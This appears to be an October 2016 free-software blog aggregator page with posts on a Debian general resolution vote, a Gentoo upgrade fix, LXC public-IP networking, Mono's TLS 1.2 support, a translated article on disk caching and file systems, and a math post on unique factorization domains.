Martes 25 de octubre de 2016

Gunnar Wolf

Gunnar Wolf
Gunnar Wolf

On the results of vote "gr_private2"

Given that I started the GR process, and that I called for discussion and votes, I feel somehow as my duty to also put a simple wrap-around to this process. Of course, I'll say many things already well-known to my fellow Debian people, but also non-debianers read this.

So, for further context, if you need to, please read my previous blog post, where I was about to send a call for votes. It summarizes the situation and proposals; you will find we had a nice set of messages in during September; I have to thank all the involved parties, much specially to Ian Jackson, who spent a lot of energy summing up the situation and clarifying the different bits to everyone involved.

So, we held the vote; you can be interested in looking at the detailed vote statistics for the 235 correctly received votes, and most importantly, the results:

Results for gr_private2

First of all, I'll say I'm actually surprised at the results, as I expected Ian's proposal (acknowledge difficulty; I actually voted this proposal as my top option) to win and mine (repeal previous GR) to be last; turns out, the winner option was Iain's (remain private). But all in all, I am happy with the results: As I said during the discussion, I was much disappointed with the results to the previous GR on this topic — And, yes, it seems the breaking point was when many people thought the privacy status of posted messages was in jeopardy; we cannot really compare what I would have liked to have in said vote if we had followed the strategy of leaving the original resolution text instead of replacing it, but I believe it would have passed. In fact, one more surprise of this iteration was that I expected Further Discussion to be ranked higher, somewhere between the three explicit options. I am happy, of course, we got such an overwhelming clarity of what does the project as a whole prefer.

And what was gained or lost with this whole excercise? Well, if nothing else, we gain to stop lying. For over ten years, we have had an accepted resolution binding us to release the messages sent to debian-private given such-and-such-conditions... But never got around to implement it. We now know that debian-private will remain private... But we should keep reminding ourselves to use the list as little as possible.

For a project such as Debian, which is often seen as a beacon of doing the right thing no matter what, I feel being explicit about not lying to ourselves of great importance. Yes, we have the principle of not hiding our problems, but it has long been argued that the use of this list is not hiding or problems. Private communication can happen whenever you have humans involved, even if administratively we tried to avoid it.

Any of the three running options could have won, and I'd be happy. My #1 didn't win, but my #2 did. And, I am sure, it's for the best of the project as a whole.

Lunes 24 de octubre de 2016

Alcance Libre: Importante actualización para ALDOS 1.4: nuevos paquetes para el núcleo 4.4.

Sábado 22 de octubre de 2016

Planeta Gruslic: Max Valdez: Pensando en la actualidad social y política (de USA?)

Jueves 20 de octubre de 2016

Planeta Gruslic: Mario Oyorzábal: GNU/Linux Debian en HP Proliant DL320e Gen8 v2

Jueves 13 de octubre de 2016

Luis Armando Medina

Luis Armando Medina
Como Instalar Linux

Novedades en Ubuntu 16.10 Yakkety Yak

Sin duda esta versión, Ubuntu 16.10 es uno de los lanzamientos que Canonical ha realizado con más novedades que van desde el preview de un nuevo entorno gráfico como Mir con Unity 8, hasta mejoras y herramientas para virtualizacion, contenedores … Continue reading
Luis Armando Medina

Luis Armando Medina
Como Instalar Linux

Ubuntu 16.10 ha sido Anunciado

Hoy se ha anunciado el lanzamiento de Ubuntu 16.10 Yakkety Yak y se encuentran disponibles los archivos ISO de las diferentes ediciones así como de los diferentes Ubuntu Flavors (o sabores de Ubuntu) oficiales para que los instales en tu … Continue reading
Alcance Libre: ¿Cómo mejorar considerablemente la capacidad de filtrado de ClamAV?

Martes 11 de octubre de 2016

Omar Hernández Sarmiento

Omar Hernández Sarmiento
-- tekini --



I hereby claim:

  * I am an admin of
  * I am petrohs ( on keybase.
  * I have a public key ASB2xgvl3EcOsiO5eRMAXC8--cSwznPzuxT325Venxz5Qgo

To do so, I am signing this object:

    "body": {
        "key": {
            "eldest_kid": "0101619dfd1e745d91f95cb4ee46b5d28076b5c0e9ae7b342847459165d439337c870a",
            "host": "",
            "kid": "012076c60be5dc470eb223b97913005c2f3ef9c4b0ce73f3bb14f7db955e9f1cf9420a",
            "uid": "cf183abefb49c7bb1188cdc3a532bd19",
            "username": "petrohs"
        "service": {
            "hostname": "",
            "protocol": "https:"
        "type": "web_service_binding",
        "version": 1
    "client": {
        "name": " go client",
        "version": "1.0.17"
    "ctime": 1476217146,
    "expire_in": 504576000,
    "merkle_root": {
        "ctime": 1476217080,
        "hash": "9824705b37df2c00dbc6c93058aeb5edfc6abfffcae021f26ac63b1e4bef906af7402a29f513b395dcd5a29d1908540897654240fa2e6119a83c52ac350fb9fc",
        "seqno": 673115
    "prev": "61caded8eb365a778c648d9ffd6170ed2ce06d8a5a4f301deddc38143bb32cd8",
    "seqno": 11,
    "tag": "signature"

which yields the signature:


And finally, I am proving ownership of this host by posting or
appending to this document.

View my publicly-auditable identity here:


Domingo 09 de octubre de 2016

Alcance Libre: G Radio 1.1 (Colibrí) Liberada

Miércoles 05 de octubre de 2016

Gentoo didn’t want to update… until

Yeah, I had a hard time with Gentoo these days. I thought that everything was due to some dependency on readline-6; which left me waiting for the other packages to update their dependency.


I got to the, almighty, #gentoo channel @ Freenode. There, iamben helped me out and pointed out that, in my case, it seems that rebuilds are forced when you upgrade boost. So, what did the trick was:

emerge -lav --backtrack=30 --verbose-conflicts boost boost-build

After that, everything started buiding. I had to rebuild the preserved libs and, then, do a general upgrade. All works fine now!

Here’s a truncated version of the IRC session. Enjoy!

09:33 < Renich> Does anybody have an idea of when is this gonna be solved?
09:34  * Renich wants readline-7 already!

<fun part> 
09:34 < professor101> solved already
09:34 < Renich> professor101: how?
09:34 < professor101> format and install windows 10
09:35 < Renich> professor101: wow! that easy?
</fun part>

09:35 <+grknight> Renich: try adding --with-bdeps=y and --backtrack=30

<fun part>
09:35 < hasues> Renich: professor101 is a troll.
09:35 < professor101> gentoo is too technical really.
09:35 < Renich> grknight: I have it in my make.conf: EMERGE_DEFAULT_OPTS="--with-bdeps=y"
09:35 < professor101> u gotta be a programmer just to write a Word document.
09:35 < Renich> grknight: and yes, I tried --backtrack=3000
09:35 < Renich> hasues: yeah, figured
09:36 < professor101> i just wanna make friends
09:36 < hasues> professor101: Sounds like it would benefit you to read a manual so you would understand what you are talking about.
09:36 < professor101> i'm here for the social element as well as the tech advice
09:36 < hasues> loa: Okay, that sounds right.
09:36 < Renich> professor101: you could troll better if you did ;)
09:36 < Kelsar> don't feed the troll plz
09:36 < professor101> he he
</fun part>

09:36 <+grknight> Renich: some packages are not being pulled into the depgraph.  backtracking should help, but --verbose-conflicts may list something that wants to stick the current version
09:37 < Renich> grknight: yeah, I'll try the verbose-conflicts. Thanks
09:49 < Renich> It seems readline-6 is required by a ton of apps:
09:49 < Renich> including python, php-7, fcron and stuff like that
09:49 <+iamben> Renich: that's pretty much just saying they are CURRENTLY built for readline-6, the slot operator dep makes them "need" 6 but they will "need 7" as soon as they are rebuilt for 7
09:50 < Renich> iamben: what can I do. Force the rebuild?
09:50 <+iamben> Renich: fixing the boost issue may make the readline stuff go away... now to figure out why boost-build says "masked by: <nothing>"
09:51 < Renich> iamben: it seems that ardour-5 is pulling that boost version
09:51 < Renich> iamben: let me try removing it
09:51 <+iamben> Renich: no i dont think that's correct
09:52 < Renich> iamben: ok
09:52 <+iamben> again it's "ardour was built for 1.61", not that it particularly needs that exact version always
09:52 <+iamben> Renich: if you do "emerge -1av boost boost-build" is it able to upgrade them both?
09:52  * Renich is trying that
09:57 < Renich> iamben:
09:58 < Renich> ardour keeps poping up
09:58 <+iamben> yes but that's just because ardour has a slot operator dep that will force a rebuild when boost upgrades-- it doesn't specfically need 1.61
09:58 <+iamben> the ebuild's dep reads:  dev-libs/boost:=
09:58 < Renich> OK
09:59 <+iamben> the := means:  record the slot of boost you were built against, and rebuild if that slot changes
09:59 <+iamben> try that same emerge with --backtrack=30 --verbose-conflicts
09:59 < Renich> OK
10:07 < Renich> iamben: ok, that will rebuild 27 packages
10:08 < Renich> iamben: starting with readline-7
10:08 < Renich> iamben: thanks a lot!
10:09 <+iamben> Renich: ok cool.  im curious WHY this direct upgrade of boost/boost-build is needed, but at least it works as a workaround

Martes 04 de octubre de 2016

Moisés Silva

Moisés Silva
Moy Blog

FreeSWITCH Monitoring – ClueCon 2016

Had a good time at ClueCon again.

ClueCon 2016

For anyone interested in systems monitoring in general and how to apply it to FreeSWITCH in particular, here is my presentation:

Lunes 03 de octubre de 2016

Fco. de la Torre Inguanzo

Fco. de la Torre Inguanzo
Linux y Software Libre – LINUXMANR4

Dial pattern para el 911 en conmutadores telefónicos Elastix

LINUXMANR4 - de linux y otras cosas... linux, manjaro, elastix, software libre

Hoy 3 de octubre inicia operaciones el teléfono 911 en 16 estados de la República Mexicana.

El número 911 es para atender todo tipo de emergencias como solicitar el apoyo de fuerzas policiales, bomberos, protección civil o la Cruz Roja.

911 México | dial pattern 911 elastix911 México

El número entra en operación en Baja California, Coahuila, Colima, Chiapas, Chihuahua, Durango, Guanajuato, Morelos, Nayarit, Nuevo León, Oaxaca, Quintana Roo, Sonora, Tlaxcala, Puebla y Zacatecas.

El resto del país será hasta el 9 de enero del año entrante.

Establecer el Dial Pattern

Si tenemos un conmutador telefónico con Elastix es importante revisar si existe un Dial Pattern que permita hacer llamadas a este servicio.

La configuración de un conmutador Elastix puede variar mucho de una instalación a otra, así que estas indicaciones son una guía, pero pueden o no funcionar.

Por ejemplo, en mi caso, para poder hacer una llamada al exterior se tiene que marcar el número 9 al principio.

Entonces hay que entrar a la página de configuración, en el tab de PBXRutas Salientes , revisar las rutas que tengamos configuradas (yo solo tengo una). Y agregar el Dial pattern siguiente:

dial pattern 911 elastixEl dial pattern en acción

De esa forma me da acceso al exterior y permite la marcación a tal número.

Probablemente hay personas que tienen un Dial Pattern mucho más relajado como:

Que prácticamente funciona para cualquier combinación de números al exterior también funciona.

Si quieren saber más sobre Dial Patterns pueden leer Asterisk Dialplan Patterns.

En general, no está demás revisar si la marcación al  911 funciona en cualquier tipo de conmutador telefónico, no vaya a ser el caso que ocurra una emergencia y no se puedan comunicar.

Dial pattern para el 911 en conmutadores telefónicos Elastix

Luis Armando Medina

Luis Armando Medina
Como Instalar Linux

Como instalar nginx install centos 6 y 7

Nginx install centos, ojalá así fuera de fácil instalar los comandos en Linux, pero no dista mucho de lograrlo, en Centos 6 y Centos 7 puedes instalar Nginx, el web server que te permite hacer uso mas eficiente del hardware … Continue reading

Sábado 01 de octubre de 2016

César Yáñez Fernández

Los discos desde la perspectiva de un Sistema de Archivos

Esta es mi propia traducción e interpretación del artículo Disks from the Perspective of a File System escrito por Marshall Kirk McKusick [1] para ACMQ.

Los Discos mienten. Y los controladores que los corren son cómplices del crimen.

La mayoría de las aplicaciones no tienen que negociar con los discos directamente, sino que guardan sus datos en archivos dentro del sistema de archivos, el cual nos protege de los discos sinvergüenzas. Después de todo, la tarea principal del sistema de archivos es asegurarse a sí mismo que siempre pueda ser recuperado a un estado consistente después de una caída del sistema no planeada (por ejemplo, una falla de energía). Mientras que un buen sistema de archivos sea capaz de mantener a los discos bajo control, el esfuerzo requerido puede ser mucho y el rendimiento reducido es molesto. Este artículo examina los atajos que toman los discos y las vueltas que los sistemas de archivos tienen que dar para tener la confiabilidad deseada.

Mientras que el sistema de archivos deba recuperarse en un estado consistente, ese estado usualmente refleja como estaba el sistema de archivos un tiempo antes de la caída. A menudo los datos escritos durante el minuto antes de la caída pudieron haberse perdido. La razón de esta perdida es que el sistema de archivos es que todavía no tuvo la oportunidad de escribir esos datos a disco. Cuando una aplicación necesita asegurarse que los datos pueden recuperarse después de la caída, ejecuta una llamada al sistema fsync sobre el archivo que contiene los datos que necesitan para una estabilidad de largo plazo. Antes de regresar de la llamada al sistema fsync, el sistema de archivos debe de asegurarse que todos los datos asociados al archivo deben de recuperarse después de la caída, incluso si la caída ocurre inmediatamente después del regreso de la llamada del sistema fsync.

El sistema de archivos implementa fsync encontrando los datos sucios (no escritos) del archivo y escribiéndolos a disco. Históricamente, el sistema de archivos levantaría un requerimiento de escritura al disco de los datos sucios del archivo y esperar por la notificación de terminación de esta tarea. Esta técnica funcionaba de manera confiable hasta la llegada del cache de tareas en los controladores de disco. Los controladores con cache de tareas tienen un buffer grande en el mismo controlador que acumula los datos que serán escritos en el disco. Para evitar perder una revolución para ubicar el inicio del siguiente bloque al escribir en bloques de disco contiguos, el controlador lanza una notificación de escritura completada cuando los datos se encuentran en la cache de tareas en vez de encontrarse en el disco. Esta notificación de completado de escritura temprano es hecho con la esperanza de que el sistema pedirá una escritura para el siguiente bloque del disco a tiempo para que el controlador sea capaz de escribir inmediatamente al final del bloque previo.

Este enfoque tiene un serio efecto negativo. Cuando se entrega la notificación de escritura completada, el sistema de archivos espera que los datos estén almacenados de manera estable. Si los datos solo se encuentran en el cache de tareas y no en el disco, el sistema de archivos puede fallar al mantener la integridad deseada a las aplicaciones de usuario usando la llamada del sistema fsync. En particular, la semántica será violada si la energía falla después de la notificación de escritura pero antes de que los datos estén escritos en el disco. Algunos fabricantes eliminan este problema usando memoria no volátil para el cache de tareas y que provee un reinicio de micro-código después de la falla de energía donde las operaciones necesitan ser completadas. Debido a que esta opción es cara, solo algunos controladores proveen de esta funcionalidad.

Los discos más nuevos resuelven este problema con una técnica llamada tag queueing, en donde cada petición pasada al controlador de disco es asignada a una etiqueta numérica única. La mayoría de las controladoras que soportan tag queueing aceptan al menos 16 peticiones de I/O. Después de que cada petición es finalizada (posiblemente en un orden diferente al que llegaron al disco) la etiqueta de la petición completada es regresada como parte de la notificación de escritura. Si varios bloques contiguos son presentados a la controladora de disco, puede empezar a trabajar con el siguiente bloque mientras que la notificación para la etiqueta del anterior es regresada. Por lo tanto, tag queueing permite que las aplicaciones estén notificadas de verdad cuando sus datos hayan llegado al almacenamiento estable sin incurrir en penalización de revoluciones de disco perdidas al escribir bloques contiguos. La llamada fsync de un archivo es implementada al enviar todos los bloques modificados del archivo al disco y después esperar hasta que las etiquetas de todos esos bloques hayan notificado que está escrito.

Tag queueing fue implementado primero en discos SCSI, habilitándolos en confiabilidad y velocidad. Los discos ATA, que carecían de tag queueing, puede ser ejecutado con su cache de escritura activado (por defecto) para proveer de velocidad al costo de confiabilidad después de una caída o con el cache de escritura desactivado, que provee la confiabilidad después de una caída con un 50% de velocidad de escritura reducido.

Para salir del embrollo, la especificación ATA agregó un intento de tag queueing con el mismo nombre usado por la especificación SCSI: TCQ (Tag Command Queueing). Desafortunadamente en una desviación de la especificación SCSI, TCQ para ATA permite el completado de la petición etiquetada para depender de si el cache de escritura está activado (notificando que la tarea de escritura está completada cuando llega al cache) o desactivado (notificando que la tarea de escritura está completada cuando llega al medio). Por lo tanto, solo agregó complejidad sin beneficio alguno.

Por suerte, SATA (Serial ATA) tiene una nueva definición llamada NCQ (Native Command Queueing) que tiene un bit en el comando de escritura que indica al controlador si debe reportar que ha terminado cuando el medio ha sido escrito o cuando ha llegado a cache. Si el controlador ajusta el bit correctamente, entonces el disco tendrá un comportamiento correcto.

En el mundo real, muchos de los controladores enfocados para el mercado de escritorio no implementan la especificación NCQ. Para asegurar la confiabilidad, el sistema debe de desactivar el cache de escritura en disco o ejecutar un vaciado de cache después de cada actualización de meta-datos, actualización de bitácora (para sistemas de archivos con bitácora) o al ejecutar la llamada del sistema fsync. Ambas técnicas tienden a notar una degradación de rendimiento, así que frecuentemente están desactivadas, colocando al sistema de archivos en riesgo si la energía falla. En sistemas en donde la velocidad y confiabilidad son importantes, no se deben usar discos ATA. Se deben usar dispositivos que implementen Fibre Channel, SCSI o SATA que soporten NCQ.

Otra tendencia reciente ha sido el cambio del tamaño del sector en el disco. Desde la vez de la primera disponibilidad en la década de 1950 hasta 2010, el tamaño del sector en los discos ha sido de 512 bytes. En el 2010, los fabricantes de discos empezaron a producir discos con sectores de 4096 bytes.

Mientras la densidad de escrituras para discos ha sido incrementada con los años, el margen de error por bit ha aumentado, requiriendo el uso de códigos de corrección más largos. Los errores no están distribuidos uniformemente a través del disco. En realidad, un pequeño defecto causaría la pérdida de una cadena de bits. La mayoría de los sectores tienen algunos errores, pero un pequeño defecto puede causar que un simple sector necesite de corrección de muchos bits. Por lo tanto, el código de error debe tener suficiente redundancia por cada sector para manejar un alto radio de corrección incluso si la mayoría de los sectores no lo requieren. Al usar sectores más grandes hace posible amortizar el costo de los bits de corrección de errores extras sobre revisión de bits más larga. Usado sectores que son ocho veces más largos también elimina el 88% de las cabeceras de inicio y final de sector, reduciendo así el número de bits que no contienen datos en el disco. El efecto de red al pasar de los sectores de 512 bytes a los 4096 bytes está cerca de doblar la cantidad de datos de usuario que puede almacenarse en la tecnología de disco dada.

Al hacer I/O al disco, las peticiones de transferencia deben ser por múltiplos del tamaño de sector. Hasta el 2010, la unidad más pequeña para leer o escribir era de 512 bytes. Ahora la unidad más pequeña para leer o escribir en disco es de 4096 bytes.

Para compatibilidad con aplicaciones viejas, las controladoras de los discos nuevos con sectores de 4096 bytes emulan el sector de 512 bytes. Cuando se hace una escritura de 512 bytes, la controladora lee el sector de 4096 bytes conteniendo el área que será escrita en un buffer, reescribe los 512 bytes en el sector que será reemplazado, y después escribe el sector de 4096 bytes actualizado en el buffer al disco. Cuando corre en este modo, el disco se vuelve al menos 50% más lento por el modo de lectura y escritura requerido. Frecuentemente se vuelve más lento porque la controladora tiene que esperar cerca de una revolución del plato de disco antes de reescribir el sector que había leído.

Los sistemas de archivos deben de estar pendientes del cambio en los medios y asegurarse de que se adapten para siempre escribir en múltiplos del nuevo tamaño de sector. Históricamente, los sistemas de archivos eran organizados para almacenar archivos más pequeños que el sector de 512 bytes. Con el cambio en la tecnología de disco, la mayoría de los sistemas de archivos han evitado la lentitud de escritura en 512 bytes al hacer el tamaño de almacenamiento más pequeño en 4096 bytes. Por lo tanto, un archivo más pequeño que 512 bytes está colocado en un bloque de 4096 bytes. El resultado de este cambio es que toma hasta ocho veces más espacio de almacenamiento un sistema de archivos que predominantemente tiene archivos más pequeños. Ya que el tamaño del archivo promedio ha ido creciendo en años, para un sistema de archivos típico el cambio de tamaño de colocación mínimo de 4096 bytes ha resultado en un 10% a 15% de incremento de almacenamiento requerido.

Algunos sistemas de archivos han adaptado el cambio del tamaño del sector al colocar varios archivos pequeños en un solo sector de 4096 bytes. Para evitar la necesidad de hacer una operación de leer/modificar/escribir para actualizar un archivo pequeño, el sistema de archivos recolecta el cumulo de archivos pequeños que han cambiado recientemente y los escribe juntos en un nuevo sector de 4096 bytes. Cuando la mayoría de los archivos pequeños dentro de un sector han sido re-escritos en otro lugar, el sector es reclamado tomando los archivos pequeños remanentes dentro de este e incluirlos con otros nuevos archivos escritos en un nuevo sector. El sector vaciado puede ser usado en el futuro.

La conclusión es que los sistemas de archivos necesitan estar al pendiente de la tecnología de disco que están corriendo para asegurar que pueden manejar confiablemente la semántica que han prometido. Los usuarios deben de estar al pendiente de las limitaciones de las diferentes tecnologías de disco frente a los sistemas de archivos y seleccionar la tecnología que no resulte en un rendimiento pobre para el tipo de carga en el sistema de archivos que se manejará. A lo mejor, más adelante se debería de evitar el uso de discos mecánicos y cambiar a la tecnología de memoria flash, a no ser que, por supuesto, el almacenaje en flash empiece a usar los mismos trucos de bajo presupuesto.

1. El Dr. Marshall Kirk McKusick escribe libros y artículos, imparte clases de temas relacionados con Unix y BSD, y provee un testimonio experto en primera persona sobre patentes de software, secretos comerciales y problemas de copyright, particularmente los relacionados con sistemas operativos y sistemas de archivos. Ha sido desarrollador en el Proyecto FreeBSD desde su fundación en 1993. Cuando estuvo en la Universidad de California en Berkeley, implementó Fast File System en 4.2BSD y fue investigador en ciencias computacionales en el Grupo de Investigación en Ciencias Computacionales (CSRG) en Berkeley, supervisando el desarrollo y liberación de 4.3BSD y 4.4BSD.
David Moreno

David Moreno
dm's blog

Thanks Debian

I sent this email to debian-private a few days ago, on the 10th anniversary of my Debian account creation:

Date: Fri, 14 Aug 2015 19:37:20 +0200
From: David Moreno 
Subject: Retiring from Debian
User-Agent: Mutt/1.5.23 (2014-03-12)

[-- PGP output follows (current time: Sun 23 Aug 2015 06:18:36 PM CEST) --]
gpg: Signature made Fri 14 Aug 2015 07:37:20 PM CEST using RSA key ID 4DADEC2F
gpg: Good signature from "David Moreno "
gpg:                 aka "David Moreno "
gpg:                 aka "David Moreno (1984-08-08) "
[-- End of PGP output --]

[-- The following data is signed --]


Ten years ago today (2005-08-14) my account was created:

Today, I don't feel like Debian represents me and neither do I represent the
project anymore.

I had tried over the last couple of years to retake my involvement but lack of
motivation and time always got on the way, so the right thing to do for me is
to officially retire and gtfo.

I certainly learned a bunch from dozens of Debian people over these many years,
and I'm nothing but grateful with all of them; I will for sure carry the project
close to my heart — as I carry it with the Debian swirl I still have tattooed
on my back ;)

I have three packages left that have not been updated in forever and you can
consider orphaned now: gcolor2, libperl6-say-perl and libxml-treepp-perl.

With all best wishes,
David Moreno.

[-- End of signed data --]

I received a couple of questions about my decision here. I basically don’t feel like Debian represents my interests and neither do I represent the project – this doesn’t mean I don’t believe in free software, to the contrary. I think some of the best software advancements we’ve made as society are thanks to it. I don’t necessarily believe on how the project has evolved itself, whether that has been the right way, to regain relevancy and dominance, and if it’s remained primarily a way to feed dogmatism versus pragmatism. This is the perfect example of a tragic consequence. I was very happy to learn that the current Debian Conference being held in Germany got the highest attendance ever, hopefully that can be utilized in a significant and useful way.

Regardless, my contributions to Debian were never noteworthy so it’s also not that big of a deal. I just need to close cycles myself and move forward, and the ten year anniversary looked like a significant mark for that.

Poke me in case you wanna discuss some more. I’ll always be happy to. Specially over beer :)


Miguel de Icaza

Miguel de Icaza
Miguel de Icaza

TLS 1.2 Comes to Mono: Update

Short version: the master branch of Mono now has support for TLS 1.2 out of the box. This means that SslStream now uses TLS 1.2, and uses of HttpWebRequest for HTTPS endpoints also uses TLS 1.2 on the desktop.

This brings TLS 1.2 to Mono on Unix/Linux in addition to Xamarin.{Mac,iOS,tvOS} which were already enabled to use TLS 1.2 via the native Apple TLS stack.

To use, install your fresh version of Mono, and then either run the btls-cert-sync command which will convert your existing list of trusted certificates to the new format (if you used cert-sync or mozroots in the past).

In Detail

The new version of Mono now embeds Google's Boring SSL as the TLS implementation to use.

Last year, you might remember that we completed a C# implementation of TLS 1.2. But we were afraid of releasing a TLS stack that had not been audited, that might contain exploitable holes, and that we did not have the cryptographic chops to ensure that the implementation was bullet proof.

So we decided that rather than ship a brand new TLS implementation we would use a TLS implementation that had been audited and was under active development.

So we picked Boring TLS, which is Google's fork of OpenSSL. This is the stack that powers Android and Google Chrome so we felt more comfortable using this implementation than a brand new implementation.

Linux Distributions

We are considering adding a --with-openssl-cert-directory= option to the configure script so that Linux distributions that package Mono could pass a directory that contains trusted root certificates in the format expected by OpenSSL.

Let us discuss the details in the

Viernes 30 de septiembre de 2016

Marco Alfonso Ocampo

Marco Alfonso Ocampo
Pub – Marco Alfonso

Contenedor LXC con IP Pública


Hace unos meses me puse a instalar LXC para un cliente, y tenía la necesidad de que sus contenedores estuvieran en la misma red que sus servidores físicos. Por lo general LXC crea una red y un puente con la ip llamada “lxcbr0“, por tanto, lo que haremos será agregar otro puente usando la tarjeta de red activa, luego indicamos a LXC que cree los contenedores usando ese nuevo puente, estos son los pasos:

En nuestro /etc/network/interfaces (debian y ubuntu), generalmente tendremos esto:

auto eth0
iface eth0 inet static

Lo cambiamos a esto:

auto br0
iface br0 inet static
        bridge_ports eth0

Con esto creamos nuestro nuevo puente “br0” ligado a eth0 (puede ser em1 ó enp5s0, etc)

Ahora toca indicarle a LXC que los nuevos contenedores usen este puente, editamos /etc/default/lxc-net y cambiamos USE_LXC_BRIDGE a: USE_LXC_BRIDGE="false"

Y en /etc/lxc/default.conf cambiamos = lxcbr0 a = br0

Y listo. Ahora dentro de los contenedores puedes usar configuración estática, o por dhcp.

auto eth0
iface eth0 inet dhcp

auto eth0
iface eth0 inet static


Usar IP externa de una red diferente

Ahora, ¿porque me acordé de algo que hice algo meses?, porque lo reintenté para ponerle una IP pública a un servidor LXC en un dedicado que tengo, y ¡No funcionó!

El dedicado tiene una IP del tipo 199.xx.xx.105 al comprarle una IP extra (ó Failover IP) el proveedor me asignó la ip: 146.xx.xx.239 , al querer añadirla a un contenedor, éste se quedaba sin red y no se “veía” (ping) ni con el Host, por ahí ví un error “Network unreachable“, ¡claro! las dos IP’s son de dos redes diferentes y no hay nadie (un router) que les diga como comunicarse, así que la solución fue añadir una nueva ruta a la tabla de ruteo de linux. Estos son los pasos:

Teniendo ya el puente br0 configurado y funcionando, hay que indicarle a LXC que deseamos forzar una dirección IP, esto lo hacemos editando la configuración del contenedor en /var/lib/lxc/MICONTENEDOR/config:

Aquí hay que hacer notar que hemos puesto como gateway del contenedor la IP del Host. Esto es muy importante.

Y dentro del contenedor la siguiente configuración de red (/etc/network/interfaces) constará solamante de una sóla instrucción: “auto eth0” (dejando también la parte del loopback claro)

En este momento ya puedes levantar el contenedor con lxc-start, métete con lxc-attach y verás como tiene la IP que indicaste en su configuración, si ejecutas un route -n verás como su gateway es también lo indicado en la conf. Pero ¡NO TIENE RED!, déjalo “prendido” y de lado del Host ejecuta lo siguiente:

route add 146.xx.xx.239 br0

Tadá! Si haces un ping a la IP verás como ya responde, si te metes al contenedor verás como ya tiene red y puede responder a todos los servicios. Ahora, por supuesto estar agregando la ruta manualmente cada que iniciemos el contenedor está de hueva, vamos a automatizarlo.

Creamos dos scripts en /var/lib/lxc/MICONTENEDOR/ uno llamado y otro

route add 146.xx.xx.239 br0

route del 146.xx.xx.239 br0

No te olvides de darle permisos de ejecución a ambos scripts! Ej. chmod +x

Y vamos a editar nuevamente la configuración del contenedor para añadir las siguientes dos líneas después de la parte donde añadimos los parámetros de red:


... = /var/lib/lxc/MICONTENEDOR/ = /var/lib/lxc/MICONTENEDOR/

Done. Ya con esto puedes probar parar e iniciar el contenedor varias veces, vigilando el estado de su red y de la IP y no debería tener problemas para acceder a Internet y viceversa.

Viernes 23 de septiembre de 2016

César Yáñez Fernández

Se regala otro Raspberry Pi


Es un Raspberry Pi de primera generación, modelo B, con las siguientes características:

  • 1 Salida de Audio 3.5mm
  • 2 Puertos USB 2.0
  • 1 Puerto Ethernet 10/100
  • 1 Puerto de salida HDMI

El SoC es un BCM2835, con procesador 1 núcleo ARM1176JZFS con punto flotante, de 700MHz y 256MB de RAM.


Funciona correctamente, no tiene ningún daño a la vista.

Forma de Conseguirlo

Me pueden contactar por los medios habituales, el costo del envío fuera de CDMX va por su cuenta.

César Yáñez Fernández

Se regala otro Raspberry Pi


Es un Raspberry Pi de primera generación, modelo B, con las siguientes características:

  • 1 Salida de Audio 3.5mm
  • 2 Puertos USB 2.0
  • 1 Puerto Ethernet 10/100
  • 1 Puerto de salida HDMI

El SoC es un BCM2835, con procesador 1 núcleo ARM1176JZFS con punto flotante, de 700MHz y 256MB de RAM.


Funciona correctamente, no tiene ningún daño a la vista.

Forma de Conseguirlo

Me pueden contactar por los medios habituales, el costo del envío fuera de CDMX va por su cuenta.

Planeta Gruslic: Mario Oyorzábal: mate segfault por incompatibilidad de gtk en stretch

Miércoles 21 de septiembre de 2016

Eduardo Ruiz Duarte

Eduardo Ruiz Duarte
Beck's blog

Dominios de factorización única, enteros Gaussianos y números de Heegner

Recientemente alguien me preguntó algo sobre factorización en anillos y unidades de los anillos, y decidí hacer un post sobre esto, esto es un post básico podría decirse de álgebra conmutativa.

Este post pretende que se comprenda el concepto de factorización en general en cualquier anillo numérico (extensión algebraica de $latex \mathbb{Z}$) a través de ejemplos y explorar, comprender y demostrar propiedades de la factorización de los enteros extendidos con una constante imaginaria (enteros gaussianos).

Todos conocemos el anillo $latex \mathbb{Z}$ que consiste en todos los enteros, y sabemos que los enteros son un subanillo de los números racionales $latex \mathbb{Q}$.

¿Qué es ser entero?, es decir, conocemos el caso particular mencionado anteriormente pero como vimos un  post pasado, hay otros campos que podemos extender.

Lo que queremos investigar es el fenómeno de "factorización única", es decir, en $latex \mathbb{Z}$ no es es muy natural decir que todo entero se puede factorizar en primos de manera única salvo permutación. Pero vamos a ver cómo el concepto de elemento primo es aún más general.

Definición: Un anillo $latex R$ conmutativo le llamamos dominio entero  si cuando ab=0 para $latex a,b\in R$ tenemos que $latex a=0$ o $latex b=0$.
También decimos que un elemento $latex u\in R$ es una unidad si tiene un inverso bajo la multiplicación del anillo $latex R$ , es decir, si existe un $latex u^{-1}$ tal que $latex uu^{-1}=1$. Siempre que todo elemento no cero de $latex R$ sea unidad, diremos que $latex R$ es un campo.

Aquí tenemos que el ejemplo usual $latex \mathbb{Z}$ es un dominio y sus únicos elementos invertibles son el $latex 1,-1$

Otra definición importante es la de irreducibilidad.

Definición: Sea $latex R$ un dominio y $latex a,b\in R$ , $latex a\mid b$ si existe un $latex c$ tal que $latex b=ac$ , es decir $latex a$ divide a $latex b$.  Un elemento no cero $latex p\in R$ es irreducible si no es unidad y si siempre que $latex a\mid p$ tenemos que $latex a$ es una unidad o $latex a=up$ para alguna unidad $latex u$.

Noten que si una unidad la podemos factorizar entonces todo factor debe ser también una unidad, por ejemplo si $latex u=ab$ entonces $latex abu^{-1}=1$ entonces $latex bu^{-1}$ debe ser un inverso de $latex a$ .

Con esto ya tenemos lo necesario para poder definir lo que es factorización única.

Definición: Un dominio $latex R$ tiene factorización única si todo elemento no cero $latex a\in R$ puede ser escrito de manera única como

$latex a=u\prod p_i^{d_i}$

Donde $latex u$ es una unidad y los $latex p_i$ son urreducibles. Nota que uso la palabra irreducible en vez de "primo", en general no son lo mismo, sólo significan lo mismo en los enteros, ya que todo irreducible es primo, pero veremos ejemplos donde no lo es.

Si un anillo cumple la definición única le diremos DFU (Dominio de factorización única)


* Los enteros $latex \mathbb{Z}$ son un dominio que no es un campo y sus únicas unidades son el 1 y -1, un entero es irreducible sí y sólo si es un número primo o un número primo negativo. Una consecuencia del teorema fundamental de la aritmética es justamente que $latex \mathbb{Z}$ es un DFU.

* Los campos $latex \mathbb{Q}$ y $latex \mathbb{R}$ son campos, y éstos no tienen irreducibles, por lo tanto son trivialmente un DFU.

*Una familia infinita de dominios la podemos construir si tomamos un entero $latex n\in \mathbb{Z}$ que no sea cuadrado

$latex \mathbb{Z}[\sqrt{n}]=\lbrace a+b\sqrt{n}:a,b\in\mathbb{Z} \rbrace$.

